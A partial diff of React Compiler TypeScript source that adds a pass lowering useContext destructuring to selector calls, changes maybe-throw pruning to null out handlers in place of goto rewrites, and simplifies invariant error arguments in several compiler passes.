||||
* LICENSE file in the root directory of this source tree.
|
||||
*/
|
||||
|
||||
import {
|
||||
ArrayExpression,
|
||||
BasicBlock,
|
||||
CallExpression,
|
||||
Destructure,
|
||||
Environment,
|
||||
ExternalFunction,
|
||||
GeneratedSource,
|
||||
HIRFunction,
|
||||
IdentifierId,
|
||||
Instruction,
|
||||
LoadGlobal,
|
||||
LoadLocal,
|
||||
NonLocalImportSpecifier,
|
||||
Place,
|
||||
PropertyLoad,
|
||||
isUseContextHookType,
|
||||
makeBlockId,
|
||||
makeInstructionId,
|
||||
makePropertyLiteral,
|
||||
markInstructionIds,
|
||||
promoteTemporary,
|
||||
reversePostorderBlocks,
|
||||
} from '../HIR';
|
||||
import {createTemporaryPlace} from '../HIR/HIRBuilder';
|
||||
import {enterSSA} from '../SSA';
|
||||
import {inferTypes} from '../TypeInference';
|
||||
|
||||
export function lowerContextAccess(
|
||||
fn: HIRFunction,
|
||||
loweredContextCalleeConfig: ExternalFunction,
|
||||
): void {
|
||||
const contextAccess: Map<IdentifierId, CallExpression> = new Map();
|
||||
const contextKeys: Map<IdentifierId, Array<string>> = new Map();
|
||||
|
||||
// collect context access and keys
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
for (const instr of block.instructions) {
|
||||
const {value, lvalue} = instr;
|
||||
|
||||
if (
|
||||
value.kind === 'CallExpression' &&
|
||||
isUseContextHookType(value.callee.identifier)
|
||||
) {
|
||||
contextAccess.set(lvalue.identifier.id, value);
|
||||
continue;
|
||||
}
|
||||
|
||||
if (value.kind !== 'Destructure') {
|
||||
continue;
|
||||
}
|
||||
|
||||
const destructureId = value.value.identifier.id;
|
||||
if (!contextAccess.has(destructureId)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
const keys = getContextKeys(value);
|
||||
if (keys === null) {
|
||||
return;
|
||||
}
|
||||
|
||||
if (contextKeys.has(destructureId)) {
|
||||
/*
|
||||
* TODO(gsn): Add support for accessing context over multiple
|
||||
* statements.
|
||||
*/
|
||||
return;
|
||||
} else {
|
||||
contextKeys.set(destructureId, keys);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let importLoweredContextCallee: NonLocalImportSpecifier | null = null;
|
||||
|
||||
if (contextAccess.size > 0 && contextKeys.size > 0) {
|
||||
for (const [, block] of fn.body.blocks) {
|
||||
let nextInstructions: Array<Instruction> | null = null;
|
||||
|
||||
for (let i = 0; i < block.instructions.length; i++) {
|
||||
const instr = block.instructions[i];
|
||||
const {lvalue, value} = instr;
|
||||
if (
|
||||
value.kind === 'CallExpression' &&
|
||||
isUseContextHookType(value.callee.identifier) &&
|
||||
contextKeys.has(lvalue.identifier.id)
|
||||
) {
|
||||
importLoweredContextCallee ??=
|
||||
fn.env.programContext.addImportSpecifier(
|
||||
loweredContextCalleeConfig,
|
||||
);
|
||||
const loweredContextCalleeInstr = emitLoadLoweredContextCallee(
|
||||
fn.env,
|
||||
importLoweredContextCallee,
|
||||
);
|
||||
|
||||
if (nextInstructions === null) {
|
||||
nextInstructions = block.instructions.slice(0, i);
|
||||
}
|
||||
nextInstructions.push(loweredContextCalleeInstr);
|
||||
|
||||
const keys = contextKeys.get(lvalue.identifier.id)!;
|
||||
const selectorFnInstr = emitSelectorFn(fn.env, keys);
|
||||
nextInstructions.push(selectorFnInstr);
|
||||
|
||||
const lowerContextCallId = loweredContextCalleeInstr.lvalue;
|
||||
value.callee = lowerContextCallId;
|
||||
|
||||
const selectorFn = selectorFnInstr.lvalue;
|
||||
value.args.push(selectorFn);
|
||||
}
|
||||
|
||||
if (nextInstructions) {
|
||||
nextInstructions.push(instr);
|
||||
}
|
||||
}
|
||||
if (nextInstructions) {
|
||||
block.instructions = nextInstructions;
|
||||
}
|
||||
}
|
||||
markInstructionIds(fn.body);
|
||||
inferTypes(fn);
|
||||
}
|
||||
}
|
||||
|
||||
function emitLoadLoweredContextCallee(
|
||||
env: Environment,
|
||||
importedLowerContextCallee: NonLocalImportSpecifier,
|
||||
): Instruction {
|
||||
const loadGlobal: LoadGlobal = {
|
||||
kind: 'LoadGlobal',
|
||||
binding: {...importedLowerContextCallee},
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
|
||||
return {
|
||||
id: makeInstructionId(0),
|
||||
loc: GeneratedSource,
|
||||
lvalue: createTemporaryPlace(env, GeneratedSource),
|
||||
effects: null,
|
||||
value: loadGlobal,
|
||||
};
|
||||
}
|
||||
|
||||
function getContextKeys(value: Destructure): Array<string> | null {
|
||||
const keys = [];
|
||||
const pattern = value.lvalue.pattern;
|
||||
|
||||
switch (pattern.kind) {
|
||||
case 'ArrayPattern': {
|
||||
return null;
|
||||
}
|
||||
|
||||
case 'ObjectPattern': {
|
||||
for (const place of pattern.properties) {
|
||||
if (
|
||||
place.kind !== 'ObjectProperty' ||
|
||||
place.type !== 'property' ||
|
||||
place.key.kind !== 'identifier' ||
|
||||
place.place.identifier.name === null ||
|
||||
place.place.identifier.name.kind !== 'named'
|
||||
) {
|
||||
return null;
|
||||
}
|
||||
keys.push(place.key.name);
|
||||
}
|
||||
return keys;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function emitPropertyLoad(
|
||||
env: Environment,
|
||||
obj: Place,
|
||||
property: string,
|
||||
): {instructions: Array<Instruction>; element: Place} {
|
||||
const loadObj: LoadLocal = {
|
||||
kind: 'LoadLocal',
|
||||
place: obj,
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
const object: Place = createTemporaryPlace(env, GeneratedSource);
|
||||
const loadLocalInstr: Instruction = {
|
||||
lvalue: object,
|
||||
value: loadObj,
|
||||
id: makeInstructionId(0),
|
||||
effects: null,
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
|
||||
const loadProp: PropertyLoad = {
|
||||
kind: 'PropertyLoad',
|
||||
object,
|
||||
property: makePropertyLiteral(property),
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
const element: Place = createTemporaryPlace(env, GeneratedSource);
|
||||
const loadPropInstr: Instruction = {
|
||||
lvalue: element,
|
||||
value: loadProp,
|
||||
id: makeInstructionId(0),
|
||||
effects: null,
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
return {
|
||||
instructions: [loadLocalInstr, loadPropInstr],
|
||||
element: element,
|
||||
};
|
||||
}
|
||||
|
||||
function emitSelectorFn(env: Environment, keys: Array<string>): Instruction {
|
||||
const obj: Place = createTemporaryPlace(env, GeneratedSource);
|
||||
promoteTemporary(obj.identifier);
|
||||
const instr: Array<Instruction> = [];
|
||||
const elements = [];
|
||||
for (const key of keys) {
|
||||
const {instructions, element: prop} = emitPropertyLoad(env, obj, key);
|
||||
instr.push(...instructions);
|
||||
elements.push(prop);
|
||||
}
|
||||
|
||||
const arrayInstr = emitArrayInstr(elements, env);
|
||||
instr.push(arrayInstr);
|
||||
|
||||
const block: BasicBlock = {
|
||||
kind: 'block',
|
||||
id: makeBlockId(0),
|
||||
instructions: instr,
|
||||
terminal: {
|
||||
id: makeInstructionId(0),
|
||||
kind: 'return',
|
||||
returnVariant: 'Explicit',
|
||||
loc: GeneratedSource,
|
||||
value: arrayInstr.lvalue,
|
||||
effects: null,
|
||||
},
|
||||
preds: new Set(),
|
||||
phis: new Set(),
|
||||
};
|
||||
|
||||
const fn: HIRFunction = {
|
||||
loc: GeneratedSource,
|
||||
id: null,
|
||||
nameHint: null,
|
||||
fnType: 'Other',
|
||||
env,
|
||||
params: [obj],
|
||||
returnTypeAnnotation: null,
|
||||
returns: createTemporaryPlace(env, GeneratedSource),
|
||||
context: [],
|
||||
body: {
|
||||
entry: block.id,
|
||||
blocks: new Map([[block.id, block]]),
|
||||
},
|
||||
generator: false,
|
||||
async: false,
|
||||
directives: [],
|
||||
aliasingEffects: [],
|
||||
};
|
||||
|
||||
reversePostorderBlocks(fn.body);
|
||||
markInstructionIds(fn.body);
|
||||
enterSSA(fn);
|
||||
inferTypes(fn);
|
||||
|
||||
const fnInstr: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
value: {
|
||||
kind: 'FunctionExpression',
|
||||
name: null,
|
||||
nameHint: null,
|
||||
loweredFunc: {
|
||||
func: fn,
|
||||
},
|
||||
type: 'ArrowFunctionExpression',
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
lvalue: createTemporaryPlace(env, GeneratedSource),
|
||||
effects: null,
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
return fnInstr;
|
||||
}
|
||||
|
||||
function emitArrayInstr(elements: Array<Place>, env: Environment): Instruction {
|
||||
const array: ArrayExpression = {
|
||||
kind: 'ArrayExpression',
|
||||
elements,
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
const arrayLvalue: Place = createTemporaryPlace(env, GeneratedSource);
|
||||
const arrayInstr: Instruction = {
|
||||
id: makeInstructionId(0),
|
||||
value: array,
|
||||
lvalue: arrayLvalue,
|
||||
effects: null,
|
||||
loc: GeneratedSource,
|
||||
};
|
||||
return arrayInstr;
|
||||
}
|
||||
@@ -178,14 +178,8 @@ export function optimizeForSSR(fn: HIRFunction): void {
|
||||
{
|
||||
reason:
|
||||
'Expected a valid destructuring pattern for inlined state',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
message: 'Expected a valid destructuring pattern',
|
||||
loc: value.loc,
|
||||
},
|
||||
],
|
||||
message: 'Expected a valid destructuring pattern',
|
||||
loc: value.loc,
|
||||
},
|
||||
);
|
||||
const store: StoreLocal = {
|
||||
|
||||
@@ -9,7 +9,6 @@ import {CompilerError} from '..';
|
||||
import {
|
||||
BlockId,
|
||||
GeneratedSource,
|
||||
GotoVariant,
|
||||
HIRFunction,
|
||||
Instruction,
|
||||
assertConsistentIdentifiers,
|
||||
@@ -25,9 +24,15 @@ import {
|
||||
} from '../HIR/HIRBuilder';
|
||||
import {printPlace} from '../HIR/PrintHIR';
|
||||
|
||||
/*
|
||||
* This pass prunes `maybe-throw` terminals for blocks that can provably *never* throw.
|
||||
* For now this is very conservative, and only affects blocks with primitives or
|
||||
/**
|
||||
* This pass updates `maybe-throw` terminals for blocks that can provably *never* throw,
|
||||
* nulling out the handler to indicate that control will always continue. Note that
|
||||
* rewriting to a `goto` disrupts the structure of the HIR, making it more difficult to
|
||||
* reconstruct an ast during BuildReactiveFunction. Preserving the maybe-throw makes the
|
||||
* continuations clear, while nulling out the handler tells us that control cannot flow
|
||||
* to the handler.
|
||||
*
|
||||
* For now the analysis is very conservative, and only affects blocks with primitives or
|
||||
* array/object literals. Even a variable reference could throw bc of the TDZ.
|
||||
*/
|
||||
export function pruneMaybeThrows(fn: HIRFunction): void {
|
||||
@@ -52,17 +57,10 @@ export function pruneMaybeThrows(fn: HIRFunction): void {
|
||||
const mappedTerminal = terminalMapping.get(predecessor);
|
||||
CompilerError.invariant(mappedTerminal != null, {
|
||||
reason: `Expected non-existing phi operand's predecessor to have been mapped to a new terminal`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
description: `Could not find mapping for predecessor bb${predecessor} in block bb${
|
||||
block.id
|
||||
} for phi ${printPlace(phi.place)}`,
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
phi.operands.delete(predecessor);
|
||||
phi.operands.set(mappedTerminal, operand);
|
||||
@@ -89,13 +87,7 @@ function pruneMaybeThrowsImpl(fn: HIRFunction): Map<BlockId, BlockId> | null {
|
||||
if (!canThrow) {
|
||||
const source = terminalMapping.get(block.id) ?? block.id;
|
||||
terminalMapping.set(terminal.continuation, source);
|
||||
block.terminal = {
|
||||
kind: 'goto',
|
||||
block: terminal.continuation,
|
||||
variant: GotoVariant.Break,
|
||||
id: terminal.id,
|
||||
loc: terminal.loc,
|
||||
};
|
||||
terminal.handler = null;
|
||||
}
|
||||
}
|
||||
return terminalMapping.size > 0 ? terminalMapping : null;
|
||||
|
||||
@@ -8,4 +8,3 @@
|
||||
export {constantPropagation} from './ConstantPropagation';
|
||||
export {deadCodeElimination} from './DeadCodeElimination';
|
||||
export {pruneMaybeThrows} from './PruneMaybeThrows';
|
||||
export {inlineJsxTransform} from './InlineJsxTransform';
|
||||
|
||||
@@ -41,15 +41,7 @@ function findScopesToMerge(fn: HIRFunction): DisjointSet<ReactiveScope> {
|
||||
{
|
||||
reason:
|
||||
'Internal error: Expected all ObjectExpressions and ObjectMethods to have non-null scope.',
|
||||
description: null,
|
||||
suggestions: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: GeneratedSource,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: GeneratedSource,
|
||||
},
|
||||
);
|
||||
mergeScopesBuilder.union([operandScope, lvalueScope]);
|
||||
|
||||
@@ -170,14 +170,7 @@ export function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {
|
||||
|
||||
CompilerError.invariant(!valueBlockNodes.has(fallthrough), {
|
||||
reason: 'Expect hir blocks to have unique fallthroughs',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
if (node != null) {
|
||||
valueBlockNodes.set(fallthrough, node);
|
||||
@@ -259,14 +252,7 @@ export function alignReactiveScopesToBlockScopesHIR(fn: HIRFunction): void {
|
||||
// Transition from block->value block, derive the outer block range
|
||||
CompilerError.invariant(fallthrough !== null, {
|
||||
reason: `Expected a fallthrough for value block`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
const fallthroughBlock = fn.body.blocks.get(fallthrough)!;
|
||||
const nextId =
|
||||
|
||||
@@ -84,14 +84,7 @@ class CheckInstructionsAgainstScopesVisitor extends ReactiveFunctionVisitor<
|
||||
reason:
|
||||
'Encountered an instruction that should be part of a scope, but where that scope has already completed',
|
||||
description: `Instruction [${id}] is part of scope @${scope.id}, but that scope has already completed`,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: place.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: place.loc,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,14 +28,7 @@ class Visitor extends ReactiveFunctionVisitor<Set<BlockId>> {
|
||||
if (terminal.kind === 'break' || terminal.kind === 'continue') {
|
||||
CompilerError.invariant(seenLabels.has(terminal.target), {
|
||||
reason: 'Unexpected break to invalid label',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: stmt.terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: stmt.terminal.loc,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,6 +9,7 @@ import {CompilerError} from '../CompilerError';
|
||||
import {
|
||||
BasicBlock,
|
||||
BlockId,
|
||||
GeneratedSource,
|
||||
GotoVariant,
|
||||
HIR,
|
||||
InstructionId,
|
||||
@@ -21,6 +22,7 @@ import {
|
||||
ReactiveBreakTerminal,
|
||||
ReactiveContinueTerminal,
|
||||
ReactiveFunction,
|
||||
ReactiveInstruction,
|
||||
ReactiveLogicalValue,
|
||||
ReactiveSequenceValue,
|
||||
ReactiveTerminalStatement,
|
||||
@@ -61,6 +63,139 @@ class Driver {
|
||||
this.cx = cx;
|
||||
}
|
||||
|
||||
/*
|
||||
* Wraps a continuation result with preceding instructions. If there are no
|
||||
* instructions, returns the continuation as-is. Otherwise, wraps the continuation's
|
||||
* value in a SequenceExpression with the instructions prepended.
|
||||
*/
|
||||
wrapWithSequence(
|
||||
instructions: Array<ReactiveInstruction>,
|
||||
continuation: {
|
||||
block: BlockId;
|
||||
value: ReactiveValue;
|
||||
place: Place;
|
||||
id: InstructionId;
|
||||
},
|
||||
loc: SourceLocation,
|
||||
): {block: BlockId; value: ReactiveValue; place: Place; id: InstructionId} {
|
||||
if (instructions.length === 0) {
|
||||
return continuation;
|
||||
}
|
||||
const sequence: ReactiveSequenceValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions,
|
||||
id: continuation.id,
|
||||
value: continuation.value,
|
||||
loc,
|
||||
};
|
||||
return {
|
||||
block: continuation.block,
|
||||
value: sequence,
|
||||
place: continuation.place,
|
||||
id: continuation.id,
|
||||
};
|
||||
}
|
||||
|
||||
/*
|
||||
* Extracts the result value from instructions at the end of a value block.
|
||||
* Value blocks generally end in a StoreLocal to assign the value of the
|
||||
* expression. These StoreLocal instructions can be pruned since we represent
|
||||
* value blocks as compound values in ReactiveFunction (no phis). However,
|
||||
* it's also possible to have a value block that ends in an AssignmentExpression,
|
||||
* which we need to keep. So we only prune StoreLocal for temporaries.
|
||||
*/
|
||||
extractValueBlockResult(
|
||||
instructions: BasicBlock['instructions'],
|
||||
blockId: BlockId,
|
||||
loc: SourceLocation,
|
||||
): {block: BlockId; place: Place; value: ReactiveValue; id: InstructionId} {
|
||||
CompilerError.invariant(instructions.length !== 0, {
|
||||
reason: `Expected non-empty instructions in extractValueBlockResult`,
|
||||
description: null,
|
||||
loc,
|
||||
});
|
||||
const instr = instructions.at(-1)!;
|
||||
let place: Place = instr.lvalue;
|
||||
let value: ReactiveValue = instr.value;
|
||||
if (
|
||||
value.kind === 'StoreLocal' &&
|
||||
value.lvalue.place.identifier.name === null
|
||||
) {
|
||||
place = value.lvalue.place;
|
||||
value = {
|
||||
kind: 'LoadLocal',
|
||||
place: value.value,
|
||||
loc: value.value.loc,
|
||||
};
|
||||
}
|
||||
if (instructions.length === 1) {
|
||||
return {block: blockId, place, value, id: instr.id};
|
||||
}
|
||||
const sequence: ReactiveSequenceValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: instructions.slice(0, -1),
|
||||
id: instr.id,
|
||||
value,
|
||||
loc,
|
||||
};
|
||||
return {block: blockId, place, value: sequence, id: instr.id};
|
||||
}
|
||||
|
||||
/*
|
||||
* Converts the result of visitValueBlock into a SequenceExpression that includes
|
||||
* the instruction with its lvalue. This is needed for for/for-of/for-in init/test
|
||||
* blocks where the instruction's lvalue assignment must be preserved.
|
||||
*
|
||||
* This also flattens nested SequenceExpressions that can occur from MaybeThrow
|
||||
* handling in try-catch blocks.
|
||||
*/
|
||||
valueBlockResultToSequence(
|
||||
result: {
|
||||
block: BlockId;
|
||||
value: ReactiveValue;
|
||||
place: Place;
|
||||
id: InstructionId;
|
||||
},
|
||||
loc: SourceLocation,
|
||||
): ReactiveSequenceValue {
|
||||
// Collect all instructions from potentially nested SequenceExpressions
|
||||
const instructions: Array<ReactiveInstruction> = [];
|
||||
let innerValue: ReactiveValue = result.value;
|
||||
|
||||
// Flatten nested SequenceExpressions
|
||||
while (innerValue.kind === 'SequenceExpression') {
|
||||
instructions.push(...innerValue.instructions);
|
||||
innerValue = innerValue.value;
|
||||
}
|
||||
|
||||
/*
|
||||
* Only add the final instruction if the innermost value is not just a LoadLocal
|
||||
* of the same place we're storing to (which would be a no-op).
|
||||
* This happens when MaybeThrow blocks cause the sequence to already contain
|
||||
* all the necessary instructions.
|
||||
*/
|
||||
const isLoadOfSamePlace =
|
||||
innerValue.kind === 'LoadLocal' &&
|
||||
innerValue.place.identifier.id === result.place.identifier.id;
|
||||
|
||||
if (!isLoadOfSamePlace) {
|
||||
instructions.push({
|
||||
id: result.id,
|
||||
lvalue: result.place,
|
||||
value: innerValue,
|
||||
loc,
|
||||
});
|
||||
}
|
||||
|
||||
return {
|
||||
kind: 'SequenceExpression',
|
||||
instructions,
|
||||
id: result.id,
|
||||
value: {kind: 'Primitive', value: undefined, loc},
|
||||
loc,
|
||||
};
|
||||
}
|
||||
|
||||
traverseBlock(block: BasicBlock): ReactiveBlock {
|
||||
const blockValue: ReactiveBlock = [];
|
||||
this.visitBlock(block, blockValue);
|
||||
@@ -70,15 +205,7 @@ class Driver {
|
||||
visitBlock(block: BasicBlock, blockValue: ReactiveBlock): void {
|
||||
CompilerError.invariant(!this.cx.emitted.has(block.id), {
|
||||
reason: `Cannot emit the same block twice: bb${block.id}`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: null,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: GeneratedSource,
|
||||
});
|
||||
this.cx.emitted.add(block.id);
|
||||
for (const instruction of block.instructions) {
|
||||
@@ -137,14 +264,7 @@ class Driver {
|
||||
if (this.cx.isScheduled(terminal.consequent)) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'if' where the consequent is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
} else {
|
||||
consequent = this.traverseBlock(
|
||||
@@ -157,14 +277,7 @@ class Driver {
|
||||
if (this.cx.isScheduled(alternateId)) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'if' where the alternate is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
} else {
|
||||
alternate = this.traverseBlock(this.cx.ir.blocks.get(alternateId)!);
|
||||
@@ -217,14 +330,7 @@ class Driver {
|
||||
if (this.cx.isScheduled(case_.block)) {
|
||||
CompilerError.invariant(case_.block === terminal.fallthrough, {
|
||||
reason: `Unexpected 'switch' where a case is already scheduled and block is not the fallthrough`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
return;
|
||||
} else {
|
||||
@@ -283,14 +389,7 @@ class Driver {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'do-while' where the loop is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -351,14 +450,7 @@ class Driver {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'while' where the loop is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -404,29 +496,7 @@ class Driver {
|
||||
scheduleIds.push(scheduleId);
|
||||
|
||||
const init = this.visitValueBlock(terminal.init, terminal.loc);
|
||||
const initBlock = this.cx.ir.blocks.get(init.block)!;
|
||||
let initValue = init.value;
|
||||
if (initValue.kind === 'SequenceExpression') {
|
||||
const last = initBlock.instructions.at(-1)!;
|
||||
initValue.instructions.push(last);
|
||||
initValue.value = {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
};
|
||||
} else {
|
||||
initValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: [initBlock.instructions.at(-1)!],
|
||||
id: terminal.id,
|
||||
loc: terminal.loc,
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
},
|
||||
};
|
||||
}
|
||||
const initValue = this.valueBlockResultToSequence(init, terminal.loc);
|
||||
|
||||
const testValue = this.visitValueBlock(
|
||||
terminal.test,
|
||||
@@ -444,14 +514,7 @@ class Driver {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'for' where the loop is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -494,54 +557,10 @@ class Driver {
|
||||
scheduleIds.push(scheduleId);
|
||||
|
||||
const init = this.visitValueBlock(terminal.init, terminal.loc);
|
||||
const initBlock = this.cx.ir.blocks.get(init.block)!;
|
||||
let initValue = init.value;
|
||||
if (initValue.kind === 'SequenceExpression') {
|
||||
const last = initBlock.instructions.at(-1)!;
|
||||
initValue.instructions.push(last);
|
||||
initValue.value = {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
};
|
||||
} else {
|
||||
initValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: [initBlock.instructions.at(-1)!],
|
||||
id: terminal.id,
|
||||
loc: terminal.loc,
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
},
|
||||
};
|
||||
}
|
||||
const initValue = this.valueBlockResultToSequence(init, terminal.loc);
|
||||
|
||||
const test = this.visitValueBlock(terminal.test, terminal.loc);
|
||||
const testBlock = this.cx.ir.blocks.get(test.block)!;
|
||||
let testValue = test.value;
|
||||
if (testValue.kind === 'SequenceExpression') {
|
||||
const last = testBlock.instructions.at(-1)!;
|
||||
testValue.instructions.push(last);
|
||||
testValue.value = {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
};
|
||||
} else {
|
||||
testValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: [testBlock.instructions.at(-1)!],
|
||||
id: terminal.id,
|
||||
loc: terminal.loc,
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
},
|
||||
};
|
||||
}
|
||||
const testValue = this.valueBlockResultToSequence(test, terminal.loc);
|
||||
|
||||
let loopBody: ReactiveBlock;
|
||||
if (loopId) {
|
||||
@@ -549,14 +568,7 @@ class Driver {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'for-of' where the loop is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -598,29 +610,7 @@ class Driver {
|
||||
scheduleIds.push(scheduleId);
|
||||
|
||||
const init = this.visitValueBlock(terminal.init, terminal.loc);
|
||||
const initBlock = this.cx.ir.blocks.get(init.block)!;
|
||||
let initValue = init.value;
|
||||
if (initValue.kind === 'SequenceExpression') {
|
||||
const last = initBlock.instructions.at(-1)!;
|
||||
initValue.instructions.push(last);
|
||||
initValue.value = {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
};
|
||||
} else {
|
||||
initValue = {
|
||||
kind: 'SequenceExpression',
|
||||
instructions: [initBlock.instructions.at(-1)!],
|
||||
id: terminal.id,
|
||||
loc: terminal.loc,
|
||||
value: {
|
||||
kind: 'Primitive',
|
||||
value: undefined,
|
||||
loc: terminal.loc,
|
||||
},
|
||||
};
|
||||
}
|
||||
const initValue = this.valueBlockResultToSequence(init, terminal.loc);
|
||||
|
||||
let loopBody: ReactiveBlock;
|
||||
if (loopId) {
|
||||
@@ -628,14 +618,7 @@ class Driver {
|
||||
} else {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'for-in' where the loop is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
}
|
||||
|
||||
@@ -678,14 +661,7 @@ class Driver {
|
||||
if (this.cx.isScheduled(terminal.alternate)) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'branch' where the alternate is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
} else {
|
||||
alternate = this.traverseBlock(
|
||||
@@ -723,14 +699,7 @@ class Driver {
|
||||
if (this.cx.isScheduled(terminal.block)) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'label' where the block is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
} else {
|
||||
block = this.traverseBlock(this.cx.ir.blocks.get(terminal.block)!);
|
||||
@@ -888,14 +857,7 @@ class Driver {
|
||||
if (this.cx.isScheduled(terminal.block)) {
|
||||
CompilerError.invariant(false, {
|
||||
reason: `Unexpected 'scope' where the block is already scheduled`,
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
loc: terminal.loc,
|
||||
});
|
||||
} else {
|
||||
block = this.traverseBlock(this.cx.ir.blocks.get(terminal.block)!);
|
||||
@@ -920,15 +882,7 @@ class Driver {
|
||||
case 'unsupported': {
|
||||
CompilerError.invariant(false, {
|
||||
reason: 'Unexpected unsupported terminal',
|
||||
description: null,
|
||||
details: [
|
||||
{
|
||||
kind: 'error',
|
||||
loc: terminal.loc,
|
||||
message: null,
|
||||
},
|
||||
],
|
||||
suggestions: null,
|
||||
loc: terminal.loc,
|
||||
});
|
||||
}
|
||||
default: {
|
||||
